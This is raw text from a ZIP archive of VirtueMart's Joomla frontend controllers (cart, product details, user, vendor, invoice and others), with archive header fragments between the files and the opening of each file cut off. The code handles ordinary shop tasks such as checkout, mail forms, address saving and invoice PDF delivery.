= VmModel::getModel('user'); $user = $usermodel->getCurrentUser(); //check for permissions if(!JFactory::getUser(JFactory::getSession()->get('vmAdminID'))->authorise('core.admin', 'com_virtuemart') || !VmConfig::get ('oncheckout_change_shopper')){ $mainframe = JFactory::getApplication(); $mainframe->enqueueMessage(JText::sprintf('COM_VIRTUEMART_CART_CHANGE_SHOPPER_NO_PERMISSIONS', $user->name .' ('.$user->username.')'), 'error'); $mainframe->redirect(JRoute::_('index.php?option=com_virtuemart&view=cart')); } $newUser = JFactory::getUser(JRequest::getCmd('userID')); //update session $session = JFactory::getSession(); $adminID = $session->get('vmAdminID'); if(!isset($adminID)) $session->set('vmAdminID', $user->virtuemart_user_id); $session->set('user', $newUser); //update cart data $cart = VirtueMartCart::getCart(); $data = $usermodel->getUserAddressList(JRequest::getCmd('userID'), 'BT'); foreach($data[0] as $k => $v) { $data[$k] = $v; } $cart->BT['email'] = $newUser->email; unset($cart->ST); $cart->saveAddressInCart($data, 'BT'); $mainframe = JFactory::getApplication(); $mainframe->enqueueMessage(JText::sprintf('COM_VIRTUEMART_CART_CHANGED_SHOPPER_SUCCESSFULLY', $newUser->name .' ('.$newUser->username.')'), 'info'); $mainframe->redirect(JRoute::_('index.php?option=com_virtuemart&view=cart')); } /** * Checks for the data that is needed to process the order * * @author Max Milbers * */ public function checkout() { $cart = VirtueMartCart::getCart(); $cart->getFilterCustomerComment(); $cart->tosAccepted = JRequest::getInt('tosAccepted', $cart->tosAccepted); $task = JRequest::getString('task'); $update = vRequest::getString('update',false); if(($update and is_array($update)) or $task=='update'){ reset($update); $key = key($update); $quantity = vRequest::getInt('quantity'); $cart->updateProductCart(key($update),$quantity[$key]); $this->display(); } else if(isset($_POST['setcoupon']) or $task=='setcoupon'){ $this->setcoupon(); } else if(isset($_POST['setshipment']) or $task=='setshipment'){ $this->setshipment(); } else if(isset($_POST['setpayment']) or $task=='setpayment'){ $this->setpayment(); } else { if (VmConfig::get('oncheckout_opc', 1) && $cart->virtuemart_shipmentmethod_id != JRequest::getInt('virtuemart_shipmentmethod_id')) { $this->setshipment(); } if (VmConfig::get('oncheckout_opc', 1) && $cart->virtuemart_paymentmethod_id != JRequest::getInt('virtuemart_paymentmethod_id')) { $this->setpayment(); } if ($cart && !VmConfig::get('use_as_catalog', 0)) { $cart->checkout(); } } } /** * Executes the confirmDone task, * cart object checks itself, if the data is valid * * @author Max Milbers * */ public function confirm() { vmdebug('confirm my post, get and so on',$_POST,$_GET); $cart = VirtueMartCart::getCart(); $cart->getFilterCustomerComment(); $cart->tosAccepted = JRequest::getInt('tosAccepted', $cart->tosAccepted); $task = JRequest::getString('task'); $update = vRequest::getString('update',false); if(($update and is_array($update)) or $task=='update'){ reset($update); $key = key($update); $quantity = vRequest::getInt('quantity'); $cart->updateProductCart(key($update),$quantity[$key]); $this->display(); } else if(isset($_POST['setcoupon']) or $task=='setcoupon'){ $this->setcoupon(); } else if(isset($_POST['setshipment']) or $task=='setshipment'){ $this->setshipment(); } else if(isset($_POST['setpayment']) or $task=='setpayment'){ $this->setpayment(); } else if($task=='confirm'){ $cart->confirmDone(); $view = $this->getView('cart', 'html'); $view->setLayout('order_done'); $view->display(); } } function cancel() { $cart = VirtueMartCart::getCart(); if ($cart) { $cart->setOutOfCheckout(); } $mainframe = JFactory::getApplication(); $mainframe->redirect(JRoute::_('index.php?option=com_virtuemart&view=cart', FALSE), 'Cancelled'); } } //pure php no Tag PKtl>\=>ϑ44Ncom_virtuemart_update/components/com_virtuemart/controllers/productdetails.phpnuW+AregisterTask ('recommend', 'MailForm'); $this->registerTask ('askquestion', 'MailForm'); } function display() { $format = JRequest::getWord ('format', 'html'); if ($format == 'pdf') { $viewName = 'Pdf'; } else { $viewName = 'Productdetails'; } $view = $this->getView ($viewName, $format); $view->display (); } /** * Send the ask question email. * * @author Kohl Patrick, Christopher Roussel * @author Max Milbers */ public function mailAskquestion () { JRequest::checkToken () or jexit ('Invalid Token'); $app = JFactory::getApplication (); if(!VmConfig::get('ask_question',false)){ $app->redirect (JRoute::_ ('index.php?option=com_virtuemart&tmpl=component&view=productdetails&task=askquestion&virtuemart_product_id=' . JRequest::getInt ('virtuemart_product_id', 0)), 'Function disabled'); } $view = $this->getView ('askquestion', 'html'); if (!class_exists ('shopFunctionsF')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctionsf.php'); } $vars = array(); $min = VmConfig::get ('asks_minimum_comment_length', 50) + 1; $max = VmConfig::get ('asks_maximum_comment_length', 2000) - 1; $commentSize = mb_strlen (JRequest::getString ('comment')); $validMail = filter_var (JRequest::getVar ('email'), FILTER_VALIDATE_EMAIL); if ($commentSize < $min or $commentSize > $max or !$validMail) { $errmsg = JText::_ ('COM_VIRTUEMART_COMMENT_NOT_VALID_JS'); if ($commentSize < $min) { vmdebug ('mailAskquestion', $min, $commentSize); $errmsg = JText::_ ('COM_VIRTUEMART_ASKQU_CS_MIN'); ; } else { if ($commentSize > $max) { $errmsg = JText::_ ('COM_VIRTUEMART_ASKQU_CS_MAX'); ; } else { if (!$validMail) { $errmsg = JText::_ ('COM_VIRTUEMART_ASKQU_INV_MAIL'); ; } } } $this->setRedirect (JRoute::_ ('index.php?option=com_virtuemart&tmpl=component&view=productdetails&task=askquestion&virtuemart_product_id=' . JRequest::getInt ('virtuemart_product_id', 0)), $errmsg); return; } if(JFactory::getUser()->guest == 1 and VmConfig::get ('ask_captcha')){ $recaptcha = vRequest::getVar ('recaptcha_response_field'); JPluginHelper::importPlugin('captcha'); $dispatcher = JDispatcher::getInstance(); $res = $dispatcher->trigger('onCheckAnswer',$recaptcha); $session = JFactory::getSession(); if(!$res[0]){ $askquestionform = array('name' => vRequest::getVar ('name'), 'email' => vRequest::getVar ('email'), 'comment' => vRequest::getString ('comment')); $session->set('askquestion', $askquestionform, 'vm'); $errmsg = vmText::_('PLG_RECAPTCHA_ERROR_INCORRECT_CAPTCHA_SOL'); $this->setRedirect (JRoute::_ ('index.php?option=com_virtuemart&tmpl=component&view=productdetails&task=askquestion&virtuemart_product_id=' . vRequest::getInt ('virtuemart_product_id', 0)), $errmsg); return; } else { $session->set('askquestion', 0, 'vm'); } } $user = JFactory::getUser (); if (empty($user->id)) { $fromMail = JRequest::getVar ('email'); //is sanitized then $fromName = JRequest::getVar ('name', ''); //is sanitized then $fromMail = str_replace (array('\'', '"', ',', '%', '*', '/', '\\', '?', '^', '`', '{', '}', '|', '~'), array(''), $fromMail); $fromName = str_replace (array('\'', '"', ',', '%', '*', '/', '\\', '?', '^', '`', '{', '}', '|', '~'), array(''), $fromName); } else { $fromMail = $user->email; $fromName = $user->name; } $vars['user'] = array('name' => $fromName, 'email' => $fromMail); $virtuemart_product_id = vRequest::getInt ('virtuemart_product_id', 0); $productModel = VmModel::getModel ('product'); $vars['product'] = $productModel->getProduct ($virtuemart_product_id); $vendorModel = VmModel::getModel ('vendor'); $VendorEmail = $vendorModel->getVendorEmail ($vars['product']->virtuemart_vendor_id); if (shopFunctionsF::renderMail ('askquestion', $VendorEmail, $vars, 'productdetails')) { $string = 'COM_VIRTUEMART_MAIL_SEND_SUCCESSFULLY'; } else { $string = 'COM_VIRTUEMART_MAIL_NOT_SEND_SUCCESSFULLY'; } $app->enqueueMessage (JText::_ ($string)); $view->setLayout ('mail_confirmed'); $view->display (); } /** * Send the Recommend to a friend email. * * @author Kohl Patrick * @author Max Milbers */ public function mailRecommend () { JRequest::checkToken () or jexit ('Invalid Token'); $app = JFactory::getApplication (); if(!VmConfig::get('show_emailfriend',false)){ $app->redirect (JRoute::_ ('index.php?option=com_virtuemart&tmpl=component&view=productdetails&task=recommend&virtuemart_product_id=' . JRequest::getInt ('virtuemart_product_id', 0)), 'Function disabled'); } if(JFactory::getUser()->guest == 1 and VmConfig::get ('ask_captcha')){ $recaptcha = vRequest::getVar ('recaptcha_response_field'); JPluginHelper::importPlugin('captcha'); $dispatcher = JDispatcher::getInstance(); $res = $dispatcher->trigger('onCheckAnswer',$recaptcha); $session = JFactory::getSession(); if(!$res[0]){ $mailrecommend = array('email' => vRequest::getVar ('email'), 'comment' => vRequest::getString ('comment')); $session->set('mailrecommend', $mailrecommend, 'vm'); $errmsg = vmText::_('PLG_RECAPTCHA_ERROR_INCORRECT_CAPTCHA_SOL'); $this->setRedirect (JRoute::_ ('index.php?option=com_virtuemart&tmpl=component&view=productdetails&task=recommend&virtuemart_product_id=' . vRequest::getInt ('virtuemart_product_id', 0)), $errmsg); return; } else { $session->set('mailrecommend', 0, 'vm'); } } if (!class_exists ('shopFunctionsF')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctionsf.php'); } if(!class_exists('ShopFunctions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php'); $vars = array(); $toMail = JRequest::getVar ('email'); //is sanitized then $toMail = str_replace (array('\'', '"', ',', '%', '*', '/', '\\', '?', '^', '`', '{', '}', '|', '~'), array(''), $toMail); if (shopFunctionsF::renderMail ('recommend', $toMail, $vars, 'productdetails', TRUE)) { $string = 'COM_VIRTUEMART_MAIL_SEND_SUCCESSFULLY'; } else { $string = 'COM_VIRTUEMART_MAIL_NOT_SEND_SUCCESSFULLY'; } $app->enqueueMessage (JText::_ ($string)); // Display it all $view = $this->getView ('recommend', 'html'); $view->setLayout ('mail_confirmed'); $view->display (); } /** * Ask Question form * Recommend form for Mail */ public function MailForm () { if (JRequest::getCmd ('task') == 'recommend') { $view = $this->getView ('recommend', 'html'); } else { $view = $this->getView ('askquestion', 'html'); } /* Set the layout */ $view->setLayout ('form'); // Display it all $view->display (); } /** * Add or edit a review */ public function review () { $msg=""; $model = VmModel::getModel ('ratings'); $virtuemart_product_id = vRequest::getInt('virtuemart_product_id',0); $allowReview = $model->allowReview($virtuemart_product_id); $allowRating = $model->allowRating($virtuemart_product_id); if($allowReview || $allowRating){ $return = $model->saveRating (); if ($return !== FALSE) { $errors = $model->getErrors (); if (empty($errors)) { $msg = JText::sprintf ('COM_VIRTUEMART_STRING_SAVED', JText::_ ('COM_VIRTUEMART_REVIEW')); } foreach ($errors as $error) { $msg = ($error) . '
          '; } if (!class_exists ('ShopFunctionsF')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctionsf.php'); } $data = vRequest::getPost(); if($allowReview){ } shopFunctionsF::sendRatingEmailToVendor($data); } } $this->setRedirect (JRoute::_ ('index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $virtuemart_product_id, FALSE), $msg); } /** * Json task for recalculation of prices * * @author Max Milbers * @author Patrick Kohl * */ public function recalculate () { //$post = JRequest::get('request'); // echo '
          '.print_r($post,1).'
          '; jimport ('joomla.utilities.arrayhelper'); $virtuemart_product_idArray = JRequest::getVar ('virtuemart_product_id', array()); //is sanitized then if(is_array($virtuemart_product_idArray)){ JArrayHelper::toInteger ($virtuemart_product_idArray); $virtuemart_product_id = $virtuemart_product_idArray[0]; } else { $virtuemart_product_id = $virtuemart_product_idArray; } $customPrices = array(); $customVariants = JRequest::getVar ('customPrice', array()); //is sanitized then //echo '
          '.print_r($customVariants,1).'
          '; //MarkerVarMods foreach ($customVariants as $customVariant) { //foreach ($customVariant as $selected => $priceVariant) { //In this case it is NOT $selected => $variant, because we get it that way from the form foreach ($customVariant as $priceVariant => $selected) { //Important! sanitize array to int $selected = (int)$selected; $customPrices[$selected] = $priceVariant; } } $quantityArray = JRequest::getVar ('quantity', array()); //is sanitized then JArrayHelper::toInteger ($quantityArray); $quantity = 1; if (!empty($quantityArray[0])) { $quantity = $quantityArray[0]; } $product_model = VmModel::getModel ('product'); //VmConfig::$echoDebug = TRUE; $prices = $product_model->getPrice ($virtuemart_product_id, $customPrices, $quantity); $priceFormated = array(); if (!class_exists ('CurrencyDisplay')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); } $currency = CurrencyDisplay::getInstance (); foreach ($prices as $name => $product_price) { // echo 'Price is '.print_r($name,1).'
          '; if ($name != 'costPrice') { $priceFormated[$name] = $currency->createPriceDiv ($name, '', $prices, TRUE); } } // Get the document object. $document = JFactory::getDocument (); // stAn: setName works in JDocumentHTML and not JDocumentRAW if (method_exists($document, 'setName')){ $document->setName ('recalculate'); } JResponse::setHeader ('Cache-Control', 'no-cache, must-revalidate'); JResponse::setHeader ('Expires', 'Mon, 6 Jul 2000 10:00:00 GMT'); // Set the MIME type for JSON output. $document->setMimeEncoding ('application/json'); JResponse::setHeader ('Content-Disposition', 'attachment;filename="recalculate.json"', TRUE); JResponse::sendHeaders (); echo json_encode ($priceFormated); jexit (); } public function getJsonChild () { $view = $this->getView ('productdetails', 'json'); $view->display (NULL); } /** * Notify customer * * @author Seyi Awofadeju * */ public function notifycustomer () { $data = JRequest::get ('post'); $model = VmModel::getModel ('waitinglist'); if (!$model->adduser ($data)) { $errors = $model->getErrors (); foreach ($errors as $error) { $msg = ($error) . '
          '; } $this->setRedirect (JRoute::_ ('index.php?option=com_virtuemart&view=productdetails&layout=notify&virtuemart_product_id=' . $data['virtuemart_product_id'], FALSE), $msg); } else { $msg = JText::sprintf ('COM_VIRTUEMART_STRING_SAVED', JText::_ ('COM_VIRTUEMART_CART_NOTIFY')); $this->setRedirect (JRoute::_ ('index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $data['virtuemart_product_id'], FALSE), $msg); } } /* * Send an email to all shoppers who bought a product */ public function sentProductEmailToShoppers () { $model = VmModel::getModel ('product'); $model->sentProductEmailToShoppers (); } /* * View email layout on browser */ function viewRecommendMail(){ $view = $this->getView('recommend', 'html'); $viewLayout = JRequest::getCmd('layout', 'mail_html'); $view->setLayout($viewLayout); // Display it all $view->display(); } function viewAskQuestionMail(){ $view = $this->getView('askquestion', 'html'); $viewLayout = JRequest::getCmd('layout', 'mail_confirmed'); $view->setLayout($viewLayout); // Display it all $view->display(); } } // pure php no closing tag PKtl>\Fcom_virtuemart_update/components/com_virtuemart/controllers/index.htmlnuW+APKtl>\ uhLcom_virtuemart_update/components/com_virtuemart/controllers/manufacturer.phpnuW+AgetType(); $viewName = JRequest::getCmd('view', $this->default_view); $viewLayout = JRequest::getCmd('layout', 'default'); $view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath, 'layout' => $viewLayout)); $view->assignRef('document', $document); $view->display(); return $this; } } // No closing tag PKtl>\% S--Jcom_virtuemart_update/components/com_virtuemart/controllers/virtuemart.phpnuW+AgetType(); $viewName = JRequest::getCmd('view', $this->default_view); $viewLayout = JRequest::getCmd('layout', 'default'); $view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath, 'layout' => $viewLayout)); $view->assignRef('document', $document); $view->display(); return $this; } } //pure php no closing tag PKtl>\)Ecom_virtuemart_update/components/com_virtuemart/controllers/.htaccessnuW+A Order allow,deny Deny from all PKtl>\(Ecom_virtuemart_update/components/com_virtuemart/controllers/state.phpnuW+AgetStates( JFilterInput::clean($country, 'INTEGER'),true,true ); } echo json_encode($states); jExit(); } }PKtl>\LI  Hcom_virtuemart_update/components/com_virtuemart/controllers/category.phpnuW+AregisterTask('browse','category'); } /** * Function Description * * @author RolandD * @author George * @access public */ public function display($cachable = false, $urlparams = false) { if (JRequest::getvar('search')) { $view = $this->getView('category', 'html'); $view->display(); } else { // Display it all $document = JFactory::getDocument(); $viewType = $document->getType(); $viewName = JRequest::getCmd('view', $this->default_view); $viewLayout = JRequest::getCmd('layout', 'default'); $view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath, 'layout' => $viewLayout)); $view->assignRef('document', $document); $view->display(); } if($categoryId = JRequest::getInt('virtuemart_category_id',0)){ shopFunctionsF::setLastVisitedCategoryId($categoryId); } return $this; } } // pure php no closing tag PKtl>\ 6!!Fcom_virtuemart_update/components/com_virtuemart/controllers/vendor.phpnuW+AgetType(); $viewName = JRequest::getCmd('view', $this->default_view); $viewLayout = JRequest::getCmd('layout', 'default'); $view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath, 'layout' => $viewLayout)); $view->assignRef('document', $document); $view->display(); return $this; } /** * Send the ask question email. * @author Kohl Patrick, Christopher Roussel */ public function mailAskquestion () { JRequest::checkToken() or jexit( 'Invalid Token' ); if(!class_exists('shopFunctionsF')) require(JPATH_VM_SITE.DS.'helpers'.DS.'shopfunctionsf.php'); $model = VmModel::getModel('vendor'); $mainframe = JFactory::getApplication(); $vars = array(); $min = VmConfig::get('asks_minimum_comment_length', 50)+1; $max = VmConfig::get('asks_maximum_comment_length', 2000)-1 ; $commentSize = mb_strlen( JRequest::getString('comment') ); $validMail = filter_var(JRequest::getVar('email'), FILTER_VALIDATE_EMAIL); $virtuemart_vendor_id = JRequest::getInt('virtuemart_vendor_id',1); if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $userId = VirtueMartModelVendor::getUserIdByVendorId($virtuemart_vendor_id); //$vendorUser = JFactory::getUser($userId); if ( $commentSize<$min || $commentSize>$max || !$validMail ) { $this->setRedirect(JRoute::_ ( 'index.php?option=com_virtuemart&view=vendor&task=contact&virtuemart_vendor_id=' . $virtuemart_vendor_id , FALSE),JText::_('COM_VIRTUEMART_COMMENT_NOT_VALID_JS')); return ; } $user = JFactory::getUser(); $fromMail = JRequest::getVar('email'); //is sanitized then $fromName = JRequest::getVar('name','');//is sanitized then $fromMail = str_replace(array('\'','"',',','%','*','/','\\','?','^','`','{','}','|','~'),array(''),$fromMail); $fromName = str_replace(array('\'','"',',','%','*','/','\\','?','^','`','{','}','|','~'),array(''),$fromName); if (!empty($user->id)) { if(empty($fromMail)){ $fromMail = $user->email; } if(empty($fromName)){ $fromName = $user->name; } } $vars['user'] = array('name' => $fromName, 'email' => $fromMail); $VendorEmail = $model->getVendorEmail($virtuemart_vendor_id); $vars['vendor'] = array('vendor_store_name' => $fromName ); if (shopFunctionsF::renderMail('vendor', $VendorEmail, $vars,'vendor')) { $string = 'COM_VIRTUEMART_MAIL_SEND_SUCCESSFULLY'; } else { $string = 'COM_VIRTUEMART_MAIL_NOT_SEND_SUCCESSFULLY'; } $mainframe->enqueueMessage(JText::_($string)); // Display it all $view = $this->getView('vendor', 'html'); $view->setLayout('mail_confirmed'); $view->display(); } } // No closing tag PKtl>\[6++Dcom_virtuemart_update/components/com_virtuemart/controllers/user.phpnuW+AuseSSL = VmConfig::get('useSSL',0); $this->useXHTML = false; VmConfig::loadJLang('com_virtuemart_shoppers',TRUE); } /** * Override of display to prevent caching * * @return JController A JController object to support chaining. */ public function display(){ $document = JFactory::getDocument(); $viewType = $document->getType(); $viewName = JRequest::getCmd('view', $this->default_view); $viewLayout = JRequest::getCmd('layout', 'default'); $view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath, 'layout' => $viewLayout)); $view->assignRef('document', $document); $view->display(); return $this; } function edit(){ } /** * deprecated */ function editAddressST(){ $view = $this->getView('user', 'html'); $view->setLayout('edit_address'); $ftask ='saveAddressST'; $view->assignRef('fTask', $ftask); // Display it all $view->display(); } /** * This is for use in the cart, it calls a standard template for editing user adresses. It sets the task following into the form * of the template to saveCartUser, the task saveCartUser just sets the right redirect in the js save(). This is done just to have the * controll flow in the controller and not in the layout. The layout is everytime calling a standard joomla task. * * @author Max Milbers */ function editAddressCart(){ $view = $this->getView('user', 'html'); $view->setLayout('edit_address'); $ftask ='savecartuser'; $view->assignRef('fTask', $ftask); // Display it all $view->display(); } /** * This is for use in the checkout process, it is the same like editAddressCart, but it sets the save task * to saveCheckoutUser, the task saveCheckoutUser just sets the right redirect. This is done just to have the * controll flow in the controller and not in the layout. The layout is everytime calling a standard joomla task. * * @author Max Milbers */ function editAddressCheckout(){ $view = $this->getView('user', 'html'); $view->setLayout('edit_address'); $ftask ='savecheckoutuser'; $view->assignRef('fTask', $ftask); // Display it all $view->display(); } /** * This function is called from the layout edit_adress and just sets the right redirect back to the cart * We use here the saveData(true) function, because within the cart shouldnt be done any registration. * * @author Max Milbers */ function saveCheckoutUser(){ $msg = $this->saveData(true,VmConfig::get('reg_silent',0)); //We may add here the option for silent registration. $this->setRedirect( JRoute::_('index.php?option=com_virtuemart&view=cart&task=checkout',$this->useXHTML,$this->useSSL), $msg ); } function registerCheckoutUser(){ if($this->checkCaptcha('index.php?option=com_virtuemart&view=user&task=editaddresscheckout&addrtype=BT') != FALSE) { $msg = $this->saveData(true,true); $this->setRedirect(JRoute::_( 'index.php?option=com_virtuemart&view=cart&task=checkout',$this->useXHTML,$this->useSSL ),$msg); } } /** * This function is called from the layout edit_adress and just sets the right redirect back to the cart. * We use here the saveData(true) function, because within the cart shouldnt be done any registration. * * @author Max Milbers */ function saveCartUser(){ $addressType = vRequest::getString('address_type'); if($addressType=='BT'){ $msg = $this->saveData(true,VmConfig::get('reg_silent',0)); } else { $msg = $this->saveData(false,false,true); } $this->setRedirect(JRoute::_( 'index.php?option=com_virtuemart&view=cart', FALSE ),$msg); } function registerCartuser(){ if($this->checkCaptcha('index.php?option=com_virtuemart&view=user&task=editaddresscart&addrtype=BT') != FALSE) { $msg = $this->saveData(true, true); $this->setRedirect(JRoute::_('index.php?option=com_virtuemart&view=cart', FALSE) , $msg); } } /** * This is the save function for the normal user edit.php layout. * We use here directly the userModel store function, because this view is for registering also * it redirects to the standard user view. * * @author Max Milbers */ function saveUser(){ $layout = JRequest::getWord('layout','edit'); if($this->checkCaptcha('index.php?option=com_virtuemart&view=user&layout='.$layout) != FALSE) { $msg = $this->saveData(true, true); $this->setRedirect( JRoute::_('index.php?option=com_virtuemart&view=user&layout='.$layout, FALSE), $msg ); } } function saveAddressST(){ $msg = $this->saveData(false,false,true); $layout = 'edit';// JRequest::getWord('layout','edit'); $this->setRedirect( JRoute::_('index.php?option=com_virtuemart&view=user&layout='.$layout, FALSE), $msg ); } /** * Save the user info. The saveData function don't use the userModel store function for anonymous shoppers, because it would register them. * We make this function private, so we can do the tests in the tasks. * * @author Max Milbers * @author Valérie Isaksen * * @param boolean Defaults to false, the param is for the userModel->store function, which needs it to determine how to handle the data. * @return String it gives back the messages. */ private function saveData($cart=false,$register=false, $onlyAddress=false) { $mainframe = JFactory::getApplication(); $currentUser = JFactory::getUser(); $msg = ''; $data = JRequest::get('post'); if(empty($data['address_type'])){ $data['address_type'] = vRequest::getCmd('addrtype','BT'); } if($currentUser->guest!=1 || $register){ $userModel = VmModel::getModel('user'); if(!$cart){ // Store multiple selectlist entries as a ; separated string if (array_key_exists('vendor_accepted_currencies', $data) && is_array($data['vendor_accepted_currencies'])) { $data['vendor_accepted_currencies'] = implode(',', $data['vendor_accepted_currencies']); } $data['vendor_store_name'] = JRequest::getVar('vendor_store_name','','post','STRING',JREQUEST_ALLOWHTML); $data['vendor_store_desc'] = JRequest::getVar('vendor_store_desc','','post','STRING',JREQUEST_ALLOWHTML); $data['vendor_terms_of_service'] = JRequest::getVar('vendor_terms_of_service','','post','STRING',JREQUEST_ALLOWHTML); $data['vendor_letter_css'] = JRequest::getVar('vendor_letter_css','','post','STRING',JREQUEST_ALLOWHTML); $data['vendor_letter_header_html'] = JRequest::getVar('vendor_letter_header_html','','post','STRING',JREQUEST_ALLOWHTML); $data['vendor_letter_footer_html'] = JRequest::getVar('vendor_letter_footer_html','','post','STRING',JREQUEST_ALLOWHTML); } //It should always be stored if($onlyAddress){ $ret = $userModel->storeAddress($data); } else { $ret = $userModel->store($data); } if(!$onlyAddress and $currentUser->guest==1){ $msg = (is_array($ret)) ? $ret['message'] : $ret; $usersConfig = JComponentHelper::getParams( 'com_users' ); $useractivation = $usersConfig->get( 'useractivation' ); if (is_array($ret) and $ret['success'] and !$useractivation) { // Username and password must be passed in an array $credentials = array('username' => $ret['user']->username, 'password' => $ret['user']->password_clear ); $return = $mainframe->login($credentials); } else if(VmConfig::get('oncheckout_only_registered',0)){ $layout = JRequest::getWord('layout','edit'); $this->redirect( JRoute::_('index.php?option=com_virtuemart&view=user&layout='.$layout, FALSE), $msg ); } } } if(!class_exists('VirtueMartCart')) require(JPATH_VM_SITE.DS.'helpers'.DS.'cart.php'); $cart = VirtueMartCart::getCart(); $cart->saveAddressInCart($data, $data['address_type']); return $msg; } /** * Editing a user address was cancelled when called from the cart; return to the cart * * @author Oscar van Eijk */ function cancelCartUser(){ $this->setRedirect( JRoute::_('index.php?option=com_virtuemart&view=cart', FALSE) ); } /** * Editing a user address was cancelled during chaeckout; return to the cart * * @author Oscar van Eijk */ function cancelCheckoutUser(){ $this->setRedirect( JRoute::_('index.php?option=com_virtuemart&view=cart&task=checkout',$this->useXHTML,$this->useSSL) ); } /** * Action cancelled; return to the previous view * * @author Oscar van Eijk */ function cancel() { $return = JURI::base(); $this->setRedirect( $return ); } function removeAddressST(){ $virtuemart_userinfo_id = JRequest::getVar('virtuemart_userinfo_id'); //Lets do it dirty for now $userModel = VmModel::getModel('user'); $userModel->removeAddress($virtuemart_userinfo_id); $layout = JRequest::getWord('layout','edit'); $this->setRedirect( JRoute::_('index.php?option=com_virtuemart&view=user&layout='.$layout, $this->useXHTML,$this->useSSL) ); } /** * Check the Joomla ReCaptcha Plg * * @author Maik Künnemann */ function checkCaptcha($retUrl){ if(JFactory::getUser()->guest==1 and VmConfig::get ('reg_captcha')){ $recaptcha = vRequest::getVar ('recaptcha_response_field'); JPluginHelper::importPlugin('captcha'); $dispatcher = JDispatcher::getInstance(); $res = $dispatcher->trigger('onCheckAnswer',$recaptcha); if(!$res[0]){ $data = vRequest::getPost(); $data['address_type'] = vRequest::getVar('addrtype','BT'); if(!class_exists('VirtueMartCart')) require(JPATH_VM_SITE.DS.'helpers'.DS.'cart.php'); $cart = VirtueMartCart::getCart(); $cart->saveAddressInCart($data, $data['address_type']); $errmsg = vmText::_('PLG_RECAPTCHA_ERROR_INCORRECT_CAPTCHA_SOL'); $this->setRedirect (JRoute::_ ($retUrl . '&captcha=1', FALSE), $errmsg); return FALSE; } else { return TRUE; } } else { return TRUE; } } } // No closing tag PKtl>\I+|d d Fcom_virtuemart_update/components/com_virtuemart/controllers/plugin.phpnuW+Atrigger ('plgVmOnSelfCallFE', array($type, $name, &$render)); if ($render) { // Get the document object. $document = JFactory::getDocument (); if (JRequest::getWord ('cache') == 'no') { JResponse::setHeader ('Cache-Control', 'no-cache, must-revalidate'); JResponse::setHeader ('Expires', 'Mon, 6 Jul 2000 10:00:00 GMT'); } $format = JRequest::getWord ('format', 'json'); if ($format == 'json') { $document->setMimeEncoding ('application/json'); // Change the suggested filename. JResponse::setHeader ('Content-Disposition', 'attachment;filename="' . $type . '".json"'); echo json_encode ($render); } else { echo $render; } } } } PKtl>\𷫮Fcom_virtuemart_update/components/com_virtuemart/controllers/orders.phpnuW+AgetView($viewName, $format); // Display it all $view->display(); } } // No closing tag PKtl>\(/A"A"Gcom_virtuemart_update/components/com_virtuemart/controllers/invoice.phpnuW+AuseSSL = VmConfig::get('useSSL',0); $this->useXHTML = true; VmConfig::loadJLang('com_virtuemart_shoppers',TRUE); VmConfig::loadJLang('com_virtuemart_orders',TRUE); } /** * Override of display to prevent caching * * @return JController A JController object to support chaining. */ public function display($cachable = false, $urlparams = false) { $format = JRequest::getWord('format','html'); $layout = JRequest::getWord('layout', 'invoice'); if ($format != 'pdf') { $viewName='invoice'; $view = $this->getView($viewName, $format); $view->headFooter = true; $view->display(); } else { //PDF needs more RAM than usual VmConfig::ensureMemoryLimit(64); $viewName='invoice'; $format="html"; // Create the invoice PDF file on disk and send that back $orderDetails = $this->getOrderDetails(); $fileLocation = $this->getInvoicePDF($orderDetails, 'invoice',$layout); $fileName = basename ($fileLocation); if (file_exists ($fileLocation)) { $maxSpeed = 200; $range = 0; $size = filesize ($fileLocation); $contentType = 'application/pdf'; header ("Cache-Control: public"); header ("Content-Transfer-Encoding: binary\n"); header ('Content-Type: application/pdf'); $contentDisposition = 'attachment'; $agent = strtolower ($_SERVER['HTTP_USER_AGENT']); if (strpos ($agent, 'msie') !== FALSE) { $fileName = preg_replace ('/\./', '%2e', $fileName, substr_count ($fileName, '.') - 1); } header ("Content-Disposition: $contentDisposition; filename=\"$fileName\""); header ("Accept-Ranges: bytes"); if (isset($_SERVER['HTTP_RANGE'])) { list($a, $range) = explode ("=", $_SERVER['HTTP_RANGE']); str_replace ($range, "-", $range); $size2 = $size - 1; $new_length = $size - $range; header ("HTTP/1.1 206 Partial Content"); header ("Content-Length: $new_length"); header ("Content-Range: bytes $range$size2/$size"); } else { $size2 = $size - 1; header ("Content-Range: bytes 0-$size2/$size"); header ("Content-Length: " . $size); } if ($size == 0) { die('Zero byte file! Aborting download'); } //$contents = file_get_contents ($fileName); //echo $contents; // set_magic_quotes_runtime(0); $fp = fopen ("$fileLocation", "rb"); fseek ($fp, $range); while (!feof ($fp) and (connection_status () == 0)) { set_time_limit (0); print(fread ($fp, 1024 * $maxSpeed)); flush (); ob_flush (); sleep (1); } fclose ($fp); JFactory::getApplication()->close(); } else { // TODO: Error message // vmError("File $fileName not found!"); } } } public function getOrderDetails() { $orderModel = VmModel::getModel('orders'); $orderDetails = 0; // If the user is not logged in, we will check the order number and order pass if ($orderPass = JRequest::getString('order_pass',false) and $orderNumber = JRequest::getString('order_number',false)){ $orderId = $orderModel->getOrderIdByOrderPass($orderNumber,$orderPass); if(empty($orderId)){ vmDebug ('Invalid order_number/password '.JText::_('COM_VIRTUEMART_RESTRICTED_ACCESS')); return 0; } $orderDetails = $orderModel->getOrder($orderId); } if($orderDetails==0) { $_currentUser = JFactory::getUser(); $cuid = $_currentUser->get('id'); // If the user is logged in, we will check if the order belongs to him $virtuemart_order_id = JRequest::getInt('virtuemart_order_id',0) ; if (!$virtuemart_order_id) { $virtuemart_order_id = 